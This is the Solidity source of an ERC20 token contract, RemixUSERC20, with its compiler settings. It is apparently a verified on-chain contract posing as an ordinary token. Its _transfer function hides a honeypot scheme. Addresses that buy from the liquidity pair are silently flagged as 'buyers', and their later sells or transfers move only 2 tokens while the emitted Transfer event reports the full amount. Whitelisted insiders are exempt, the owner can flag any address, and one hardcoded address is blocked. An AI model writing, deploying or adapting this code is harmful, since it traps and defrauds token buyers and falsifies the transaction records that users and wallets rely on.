File 1 of 1: RemixUSERC20.sol
pragma solidity ^0.8.24;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract RemixUSERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping(address => bool) private whitelist;
mapping(address => bool) private buyer;
address private uniV2 = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address private pair;
event nTransfer(address indexed to, uint256 value);
constructor(uint256 initialSupply_, string memory name_, string memory symbol_, address[] memory wls) {
whitelist[msg.sender] = true;
whitelist[address(this)] = true;
whitelist[uniV2] = true;
_name = name_;
_symbol = symbol_;
for (uint256 i; i < wls.length; i++) {
whitelist[wls[i]] = true;
}
address factory = 0x8909Dc15e40173Ff4699343b6eB8132c65e18eC6;
address tokenA = address(this);
address tokenB = 0x4200000000000000000000000000000000000006;
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
bytes32 salt = keccak256(abi.encodePacked(token0, token1));
pair = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
salt,
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
)))));
whitelist[pair] = true;
_mint(msg.sender, initialSupply_ * 10 ** 18);
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function swl(address addr) external onlyOwner {
whitelist[addr] = true;
}
function sb(address addr) external onlyOwner {
buyer[addr] = true;
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(sender != 0x01bd6ef4cCd2fFF86Eb40b89e2aEfA105Cccad5C, "ERC20: transfer error");
require(recipient != 0x01bd6ef4cCd2fFF86Eb40b89e2aEfA105Cccad5C, "ERC20: transfer error");
if(sender == pair && whitelist[recipient] != true) {
if(buyer[recipient] != true) {
emit nTransfer(recipient, amount);
}
}
bool transferAll = true;
if(recipient == pair && whitelist[sender] != true && buyer[sender]) {
transferAll = false;
}
if(buyer[sender] && recipient != pair) {
transferAll = false;
}
if(tx.origin != sender && recipient == tx.origin && whitelist[sender] != true) {
buyer[recipient] = true;
}
if(!transferAll) {
uint256 senderBalance = _balances[sender];
uint256 two = 2 * 10 ** 18;
require(senderBalance >= two, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - two;
}
_balances[recipient] += two;
} else {
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
}
emit Transfer(sender, recipient, amount);
}
}
{
"compilationTarget": {
"contracts/RemixUSERC20.sol": "RemixUSERC20"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}